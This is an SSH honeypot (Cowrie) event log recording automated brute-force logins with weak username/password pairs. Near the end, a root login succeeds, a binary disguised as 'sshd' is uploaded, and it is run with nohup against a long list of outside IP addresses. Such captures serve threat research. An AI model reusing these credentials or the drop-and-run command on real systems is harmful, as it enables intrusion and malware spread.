{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:39.192044Z","src_ip":"185.158.23.150","session":"68c3b5ee60d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"Frank123","message":"login attempt [frank/Frank123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:39.909526Z","src_ip":"185.158.23.150","session":"68c3b5ee60d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.127.249","src_port":54910,"dst_ip":"10.17.0.5","dst_port":22,"session":"da6ff7cd8733","protocol":"ssh","message":"New connection: 45.79.127.249:54910 (10.17.0.5:22) [session: da6ff7cd8733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:40.199150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:40.203842Z","src_ip":"45.79.127.249","session":"da6ff7cd8733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:40.412163Z","src_ip":"45.79.127.249","session":"da6ff7cd8733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"service","password":"Password1","message":"login attempt [service/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:40.830594Z","src_ip":"45.79.127.249","session":"da6ff7cd8733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:41.082618Z","src_ip":"185.158.23.150","session":"68c3b5ee60d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:42.040031Z","src_ip":"45.79.127.249","session":"da6ff7cd8733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.190.22","src_port":46576,"dst_ip":"159.203.135.109","dst_port":22,"session":"a724838e660a","protocol":"ssh","message":"New connection: 210.79.190.22:46576 (159.203.135.109:22) [session: a724838e660a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:56.321643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:56.325542Z","src_ip":"210.79.190.22","session":"a724838e660a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:56.573933Z","src_ip":"210.79.190.22","session":"a724838e660a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"Kipt123!","message":"login attempt [kipt/Kipt123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:57.600926Z","src_ip":"210.79.190.22","session":"a724838e660a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:01:58.852204Z","src_ip":"210.79.190.22","session":"a724838e660a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.161.249.165","src_port":38408,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e5d974b2e26","protocol":"ssh","message":"New connection: 131.161.249.165:38408 (159.203.135.109:22) [session: 6e5d974b2e26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:37.587516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:37.592325Z","src_ip":"131.161.249.165","session":"6e5d974b2e26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:37.716445Z","src_ip":"131.161.249.165","session":"6e5d974b2e26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"Kipt123!","message":"login attempt [kipt/Kipt123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:38.243763Z","src_ip":"131.161.249.165","session":"6e5d974b2e26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:39.369762Z","src_ip":"131.161.249.165","session":"6e5d974b2e26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":48596,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eb7d0462c16","protocol":"ssh","message":"New connection: 40.81.244.142:48596 (159.203.135.109:22) [session: 6eb7d0462c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:49.346954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:49.350928Z","src_ip":"40.81.244.142","session":"6eb7d0462c16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:49.552921Z","src_ip":"40.81.244.142","session":"6eb7d0462c16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mostafa","password":"12345","message":"login attempt [mostafa/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:50.398485Z","src_ip":"40.81.244.142","session":"6eb7d0462c16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:02:51.602605Z","src_ip":"40.81.244.142","session":"6eb7d0462c16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.90.154.95","src_port":54000,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8749fe562b6","protocol":"ssh","message":"New connection: 34.90.154.95:54000 (159.203.135.109:22) [session: a8749fe562b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:03:08.887083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:03:08.891351Z","src_ip":"34.90.154.95","session":"a8749fe562b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:03:08.972971Z","src_ip":"34.90.154.95","session":"a8749fe562b6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:03:09.222836Z","src_ip":"34.90.154.95","session":"a8749fe562b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.190.22","src_port":49374,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fa28ea3c6c7","protocol":"ssh","message":"New connection: 210.79.190.22:49374 (159.203.135.109:22) [session: 4fa28ea3c6c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:01.968103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:01.972232Z","src_ip":"210.79.190.22","session":"4fa28ea3c6c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:02.213947Z","src_ip":"210.79.190.22","session":"4fa28ea3c6c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mostafa","password":"12345","message":"login attempt [mostafa/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:03.218636Z","src_ip":"210.79.190.22","session":"4fa28ea3c6c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:04.687148Z","src_ip":"210.79.190.22","session":"4fa28ea3c6c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":42410,"dst_ip":"159.203.135.109","dst_port":22,"session":"651fb5838395","protocol":"ssh","message":"New connection: 5.75.240.121:42410 (159.203.135.109:22) [session: 651fb5838395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:09.558376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:09.562896Z","src_ip":"5.75.240.121","session":"651fb5838395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:09.654801Z","src_ip":"5.75.240.121","session":"651fb5838395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sales","password":"654321","message":"login attempt [sales/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:09.839715Z","src_ip":"5.75.240.121","session":"651fb5838395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:10.932856Z","src_ip":"5.75.240.121","session":"651fb5838395","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","shasum":"94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:25.123368Z","src_ip":"34.90.154.95","session":"a8749fe562b6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:04:25.400708Z","src_ip":"34.90.154.95","session":"a8749fe562b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.5718785995228112264/sshd;nohup ./.5718785995228112264/sshd 198.46.253.100 211.198.160.213 79.120.74.12 47.95.170.168 90.156.227.201 101.36.228.201 36.134.34.142 43.224.248.178 41.93.28.4 193.25.113.17 106.119.154.52 156.238.120.251 58.22.105.66 115.68.217.228 104.248.149.254 36.137.79.219 81.5.191.228 121.224.5.228 106.119.154.53 103.210.22.17 115.231.181.61 222.186.20.164 120.48.35.140 218.56.58.200 45.156.24.98 188.166.211.175 103.218.243.223 195.206.234.25 101.200.159.29 158.51.96.38 116.118.44.131 123.234.3.106 103.61.122.197 143.110.250.227 186.237.98.23 221.6.122.67 106.3.140.29 50.6.231.130 106.75.71.120 34.173.87.191 122.176.87.190 170.150.255.26 117.50.205.91 169.255.57.220 62.169.16.83 138.197.163.192 184.70.94.130 156.227.233.245 156.227.232.27 103.166.226.235 154.82.73.111 &","message":"CMD: chmod +x ./.5718785995228112264/sshd;nohup ./.5718785995228112264/sshd 198.46.253.100 211.198.160.213 79.120.74.12 47.95.170.168 90.156.227.201 101.36.228.201 36.134.34.142 43.224.248.178 41.93.28.4 193.25.113.17 106.119.154.52 156.238.120.251 58.22.105.66 115.68.217.228 104.248.149.254 36.137.79.219 81.5.191.228 121.224.5.228 106.119.154.53 103.210.22.17 115.231.181.61 222.186.20.164 120.48.35.140 218.56.58.200 45.156.24.98 188.166.211.175 103.218.243.223 195.206.234.25 101.200.159.29 158.51.96.38 116.118.44.131 123.234.3.106 103.61.122.197 